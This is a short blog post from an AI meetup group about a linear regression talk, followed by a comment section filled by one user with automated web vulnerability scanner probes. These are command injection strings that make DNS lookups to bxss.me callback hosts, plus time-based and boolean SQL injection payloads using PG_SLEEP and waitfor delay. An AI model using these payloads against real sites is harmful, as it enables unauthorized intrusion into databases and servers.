
Linear Regression
Rules of machine learning
Tonight Melina Katkic presented two ways to create linear regression, one made with pure code and one with the library scikit-learn. Linear regression is when you try to map your input to your output with a line. It could be salary vs. experience, house prices vs. apartment size or murders vs. chocolate sold. Some of them will fit well and this gives us the possibility to use the model to predict the value just based on our next input, others does not fit so well to a line and in those cases we might try a polynomial regression instead and some just do not make sense at all. And the last one is perhaps the most important to keep in mind. You might find some really nice regularity in your data, but are they causal or correlated. Does the data have any relation at all? In machine learning the data is often much more important than the model used and the base rule is to use the simplest model that solves the problem. Otherwise you will just spend too much resources, you do not want to use a flamethrower to light a candle.
Linear regression
Now how do you fit some data to a line? A line in math is just this simple equation y = m * x + b. You can see the complete calculations with a clear explanation of the math at this link about Linear Regression. If you want to look at a code sample in scikit-learn you can look at this Linear Regression Sample.
If you want to take a look at the code Melina wrote you can get it at github: https://github.com/NordAxon/simple_regression
Attend the events
We now have over 350 members at meetup but we still "only" see around 20 monkeys on every event. If you really want to know more about this topic then come to our events, because there is where you meet the most interesting people. Some work within the field, other are studying but the majority are enthusiasts who just want to know more and are eager to share ideas and talk about their projects. So, if you feel that you do not know anything about AI or computers, but would like to, then you are more than welcome to join. Our goal is to spread the knowledge about this fast growing field and bring people within this field together so we can all expand our knowledge.

-
Johan Broddfelt
Linear Regression, scikit-learn, algebra
Comment
Comments
96 posts found`(nslookup hitpqndunqrqu428e1.bxss.me||perl -e "gethostbyname('hitpqndunqrqu428e1.bxss.me')")`
2026-06-08 20:01:14 - wUmrLVWz
|(nslookup hithucamjdykcc5731.bxss.me||perl -e "gethostbyname('hithucamjdykcc5731.bxss.me')")
2026-06-08 20:01:12 - wUmrLVWz
&(nslookup hitctcomnnuixf47be.bxss.me||perl -e "gethostbyname('hitctcomnnuixf47be.bxss.me')")&'"`0&(nslookup hitctcomnnuixf47be.bxss.me||perl -e "gethostbyname('hitctcomnnuixf47be.bxss.me')")&`'
2026-06-08 20:01:09 - wUmrLVWz
$(nslookup hitrneauxyzup8872a.bxss.me||perl -e "gethostbyname('hitrneauxyzup8872a.bxss.me')")
2026-06-08 20:01:05 - wUmrLVWz
(nslookup hitnrshxnmnwddc9a7.bxss.me||perl -e "gethostbyname('hitnrshxnmnwddc9a7.bxss.me')")
2026-06-08 20:01:03 - wUmrLVWz
|echo rdhiwg$() qpwtqjnz^xyu||a #' |echo rdhiwg$() qpwtqjnz^xyu||a #|" |echo rdhiwg$() qpwtqjnz^xyu||a #
2026-06-08 20:01:01 - wUmrLVWz
&echo iczpeb$() kehusxnz^xyu||a #' &echo iczpeb$() kehusxnz^xyu||a #|" &echo iczpeb$() kehusxnz^xyu||a #
2026-06-08 20:00:55 - wUmrLVWz
echo vcoaky$() yggutdnz^xyu||a #' &echo vcoaky$() yggutdnz^xyu||a #|" &echo vcoaky$() yggutdnz^xyu||a #
2026-06-08 20:00:50 - wUmrLVWz
YkU9j4Fx')) OR 296=(SELECT 296 FROM PG_SLEEP(14))--
2026-06-08 19:57:56 - wUmrLVWz
8B6kT2eA') OR 287=(SELECT 287 FROM PG_SLEEP(14))--
2026-06-08 19:57:51 - wUmrLVWz
b1Zhn0dp' OR 868=(SELECT 868 FROM PG_SLEEP(14))--
2026-06-08 19:57:44 - wUmrLVWz
-1)) OR 878=(SELECT 878 FROM PG_SLEEP(14))--
2026-06-08 19:57:40 - wUmrLVWz
-5) OR 319=(SELECT 319 FROM PG_SLEEP(14))--
2026-06-08 19:57:33 - wUmrLVWz
f3IRJ05O'; waitfor delay '0:0:14' --
2026-06-08 19:57:01 - wUmrLVWz
1 waitfor delay '0:0:14' --
2026-06-08 19:56:55 - wUmrLVWz
-1); waitfor delay '0:0:14' --
2026-06-08 19:56:49 - wUmrLVWz
-1; waitfor delay '0:0:14' --
2026-06-08 19:56:40 - wUmrLVWz
-1" OR 3+547-547-1=0+0+0+1 --
2026-06-08 19:56:14 - wUmrLVWz
-1" OR 2+547-547-1=0+0+0+1 --
2026-06-08 19:56:02 - wUmrLVWz
-1' OR 3+874-874-1=0+0+0+1 or 'UpY78kMY'='
2026-06-08 19:55:58 - wUmrLVWz
-1' OR 2+874-874-1=0+0+0+1 or 'UpY78kMY'='
2026-06-08 19:55:55 - wUmrLVWz
-1' OR 3+176-176-1=0+0+0+1 --
2026-06-08 19:55:49 - wUmrLVWz
-1' OR 2+176-176-1=0+0+0+1 --
2026-06-08 19:55:44 - wUmrLVWz
-1 OR 3+746-746-1=0+0+0+1
2026-06-08 19:55:42 - wUmrLVWz
-1 OR 2+746-746-1=0+0+0+1
2026-06-08 19:55:37 - wUmrLVWz
-1 OR 3+537-537-1=0+0+0+1 --
2026-06-08 19:55:35 - wUmrLVWz
-1 OR 2+537-537-1=0+0+0+1 --
2026-06-08 19:55:32 - wUmrLVWz
;(nslookup hitibmptwnwcud82bb.bxss.me||perl -e "gethostbyname('hitibmptwnwcud82bb.bxss.me')")|(nslookup hitibmptwnwcud82bb.bxss.me||perl -e "gethostbyname('hitibmptwnwcud82bb.bxss.me')")&(nslookup hitibmptwnwcud82bb.bxss.me||perl -e "gethostbyname('hitibmptwnwcud82bb.bxss.me')")
2026-06-08 18:26:22 - wUmrLVWz
`(nslookup hitjanulmcxxe67f01.bxss.me||perl -e "gethostbyname('hitjanulmcxxe67f01.bxss.me')")`
2026-06-08 18:26:21 - wUmrLVWz
|(nslookup hithluthhjuoc6f50b.bxss.me||perl -e "gethostbyname('hithluthhjuoc6f50b.bxss.me')")
2026-06-08 18:26:18 - wUmrLVWz
&(nslookup hitjgezkfikadcf00a.bxss.me||perl -e "gethostbyname('hitjgezkfikadcf00a.bxss.me')")&'"`0&(nslookup hitjgezkfikadcf00a.bxss.me||perl -e "gethostbyname('hitjgezkfikadcf00a.bxss.me')")&`'
2026-06-08 18:26:16 - wUmrLVWz
$(nslookup hitqdffpxmtenb6af6.bxss.me||perl -e "gethostbyname('hitqdffpxmtenb6af6.bxss.me')")
2026-06-08 18:26:15 - wUmrLVWz
(nslookup hitzxrxkxqywvccb2c.bxss.me||perl -e "gethostbyname('hitzxrxkxqywvccb2c.bxss.me')")
2026-06-08 18:26:13 - wUmrLVWz
|echo fhabwk$() dfmhgtnz^xyu||a #' |echo fhabwk$() dfmhgtnz^xyu||a #|" |echo fhabwk$() dfmhgtnz^xyu||a #
2026-06-08 18:26:12 - wUmrLVWz
&echo jlxoqm$() uywvywnz^xyu||a #' &echo jlxoqm$() uywvywnz^xyu||a #|" &echo jlxoqm$() uywvywnz^xyu||a #
2026-06-08 18:26:07 - wUmrLVWz
echo cesznx$() ffaozjnz^xyu||a #' &echo cesznx$() ffaozjnz^xyu||a #|" &echo cesznx$() ffaozjnz^xyu||a #
2026-06-08 18:26:06 - wUmrLVWz
8s87W71b')) OR 490=(SELECT 490 FROM PG_SLEEP(12))--
2026-06-08 18:19:15 - wUmrLVWz
4IU51gBE') OR 829=(SELECT 829 FROM PG_SLEEP(12))--
2026-06-08 18:19:03 - wUmrLVWz
zKFHSiYV' OR 67=(SELECT 67 FROM PG_SLEEP(12))--
2026-06-08 18:18:54 - wUmrLVWz
-1)) OR 477=(SELECT 477 FROM PG_SLEEP(12))--
2026-06-08 18:18:45 - wUmrLVWz
-5) OR 798=(SELECT 798 FROM PG_SLEEP(12))--
2026-06-08 18:18:37 - wUmrLVWz
-5 OR 477=(SELECT 477 FROM PG_SLEEP(12))--
2026-06-08 18:18:28 - wUmrLVWz
UUoug54f'; waitfor delay '0:0:12' --
2026-06-08 18:18:20 - wUmrLVWz
1 waitfor delay '0:0:12' --
2026-06-08 18:18:11 - wUmrLVWz
-1); waitfor delay '0:0:12' --
2026-06-08 18:18:00 - wUmrLVWz
-1; waitfor delay '0:0:12' --
2026-06-08 18:17:48 - wUmrLVWz
-1" OR 3*2>(0+5+841-841) --
2026-06-08 18:17:14 - wUmrLVWz
-1" OR 3*2<(0+5+841-841) --
2026-06-08 18:17:12 - wUmrLVWz
-1" OR 3+841-841-1=0+0+0+1 --
2026-06-08 18:17:09 - wUmrLVWz
-1" OR 2+841-841-1=0+0+0+1 --
2026-06-08 18:17:08 - wUmrLVWz
-1' OR 3*2>(0+5+17-17) or 'Q5DwJu3c'='
2026-06-08 18:17:07 - wUmrLVWz
-1' OR 3*2<(0+5+17-17) or 'Q5DwJu3c'='
2026-06-08 18:17:05 - wUmrLVWz
-1' OR 3+17-17-1=0+0+0+1 or 'Q5DwJu3c'='
2026-06-08 18:17:04 - wUmrLVWz
-1' OR 2+17-17-1=0+0+0+1 or 'Q5DwJu3c'='
2026-06-08 18:17:01 - wUmrLVWz
-1' OR 3*2>(0+5+502-502) --
2026-06-08 18:16:56 - wUmrLVWz
-1' OR 3*2<(0+5+502-502) --
2026-06-08 18:16:54 - wUmrLVWz
-1' OR 3+502-502-1=0+0+0+1 --
2026-06-08 18:16:53 - wUmrLVWz
-1' OR 2+502-502-1=0+0+0+1 --
2026-06-08 18:16:50 - wUmrLVWz
-1 OR 3*2>(0+5+302-302)
2026-06-08 18:16:48 - wUmrLVWz
-1 OR 3*2<(0+5+302-302)
2026-06-08 18:16:47 - wUmrLVWz
-1 OR 3+302-302-1=0+0+0+1
2026-06-08 18:16:44 - wUmrLVWz
-1 OR 2+302-302-1=0+0+0+1
2026-06-08 18:16:43 - wUmrLVWz
-1 OR 3*2>(0+5+132-132) --
2026-06-08 18:16:40 - wUmrLVWz
-1 OR 3*2<(0+5+132-132) --
2026-06-08 18:16:36 - wUmrLVWz
-1 OR 3+132-132-1=0+0+0+1 --
2026-06-08 18:16:35 - wUmrLVWz
-1 OR 2+132-132-1=0+0+0+1 --
2026-06-08 18:16:34 - wUmrLVWz
GGjJ8R8B')) OR 418=(SELECT 418 FROM PG_SLEEP(12))--
2026-06-08 16:29:27 - wUmrLVWz
3qbfiSC1') OR 847=(SELECT 847 FROM PG_SLEEP(12))--
2026-06-08 16:29:24 - wUmrLVWz
EGBxvbU7' OR 609=(SELECT 609 FROM PG_SLEEP(12))--
2026-06-08 16:29:17 - wUmrLVWz
-1)) OR 787=(SELECT 787 FROM PG_SLEEP(12))--
2026-06-08 16:29:15 - wUmrLVWz
-5) OR 117=(SELECT 117 FROM PG_SLEEP(12))--
2026-06-08 16:29:10 - wUmrLVWz
-5 OR 750=(SELECT 750 FROM PG_SLEEP(12))--
2026-06-08 16:29:05 - wUmrLVWz
aAlEQrGx'; waitfor delay '0:0:12' --
2026-06-08 16:29:00 - wUmrLVWz
1 waitfor delay '0:0:12' --
2026-06-08 16:28:58 - wUmrLVWz
-1); waitfor delay '0:0:12' --
2026-06-08 16:28:56 - wUmrLVWz
-1; waitfor delay '0:0:12' --
2026-06-08 16:28:55 - wUmrLVWz
;(nslookup hitezuyyjzqyg3317e.bxss.me||perl -e "gethostbyname('hitezuyyjzqyg3317e.bxss.me')")|(nslookup hitezuyyjzqyg3317e.bxss.me||perl -e "gethostbyname('hitezuyyjzqyg3317e.bxss.me')")&(nslookup hitezuyyjzqyg3317e.bxss.me||perl -e "gethostbyname('hitezuyyjzqyg3317e.bxss.me')")
2026-06-08 16:28:55 - wUmrLVWz
`(nslookup hitntunhlluyia57e8.bxss.me||perl -e "gethostbyname('hitntunhlluyia57e8.bxss.me')")`
2026-06-08 16:28:50 - wUmrLVWz
|(nslookup hitubuuvqmotmfbb0e.bxss.me||perl -e "gethostbyname('hitubuuvqmotmfbb0e.bxss.me')")
2026-06-08 16:28:48 - wUmrLVWz
&(nslookup hitigvhhwztwlf2154.bxss.me||perl -e "gethostbyname('hitigvhhwztwlf2154.bxss.me')")&'"`0&(nslookup hitigvhhwztwlf2154.bxss.me||perl -e "gethostbyname('hitigvhhwztwlf2154.bxss.me')")&`'
2026-06-08 16:28:47 - wUmrLVWz
$(nslookup hitbxmlivxvey0d597.bxss.me||perl -e "gethostbyname('hitbxmlivxvey0d597.bxss.me')")
2026-06-08 16:28:44 - wUmrLVWz
-1" OR 3+489-489-1=0+0+0+1 --
2026-06-08 16:28:44 - wUmrLVWz
-1" OR 2+489-489-1=0+0+0+1 --
2026-06-08 16:28:43 - wUmrLVWz
-1' OR 3+589-589-1=0+0+0+1 or 'HE3gP7DU'='
2026-06-08 16:28:41 - wUmrLVWz
(nslookup hitmxhwzxkifga10ec.bxss.me||perl -e "gethostbyname('hitmxhwzxkifga10ec.bxss.me')")
2026-06-08 16:28:41 - wUmrLVWz
-1' OR 2+589-589-1=0+0+0+1 or 'HE3gP7DU'='
2026-06-08 16:28:38 - wUmrLVWz
|echo etzcux$() natyxonz^xyu||a #' |echo etzcux$() natyxonz^xyu||a #|" |echo etzcux$() natyxonz^xyu||a #
2026-06-08 16:28:37 - wUmrLVWz
&echo zuvqrb$() qvpqsynz^xyu||a #' &echo zuvqrb$() qvpqsynz^xyu||a #|" &echo zuvqrb$() qvpqsynz^xyu||a #
2026-06-08 16:28:36 - wUmrLVWz
-1' OR 3+962-962-1=0+0+0+1 --
2026-06-08 16:28:36 - wUmrLVWz
echo fodgkh$() mhazmanz^xyu||a #' &echo fodgkh$() mhazmanz^xyu||a #|" &echo fodgkh$() mhazmanz^xyu||a #
2026-06-08 16:28:32 - wUmrLVWz
-1' OR 2+962-962-1=0+0+0+1 --
2026-06-08 16:28:32 - wUmrLVWz
-1 OR 3+634-634-1=0+0+0+1
2026-06-08 16:28:31 - wUmrLVWz
-1 OR 2+634-634-1=0+0+0+1
2026-06-08 16:28:29 - wUmrLVWz
-1 OR 3+390-390-1=0+0+0+1 --
2026-06-08 16:28:27 - wUmrLVWz
-1 OR 2+390-390-1=0+0+0+1 --
2026-06-08 16:28:25 - wUmrLVWz
;(nslookup hitaembchrgnz99e25.bxss.me||perl -e "gethostbyname('hitaembchrgnz99e25.bxss.me')")|(nslookup hitaembchrgnz99e25.bxss.me||perl -e "gethostbyname('hitaembchrgnz99e25.bxss.me')")&(nslookup hitaembchrgnz99e25.bxss.me||perl -e "gethostbyname('hitaembchrgnz99e25.bxss.me')")
2026-06-08 20:01:18 - wUmrLVWz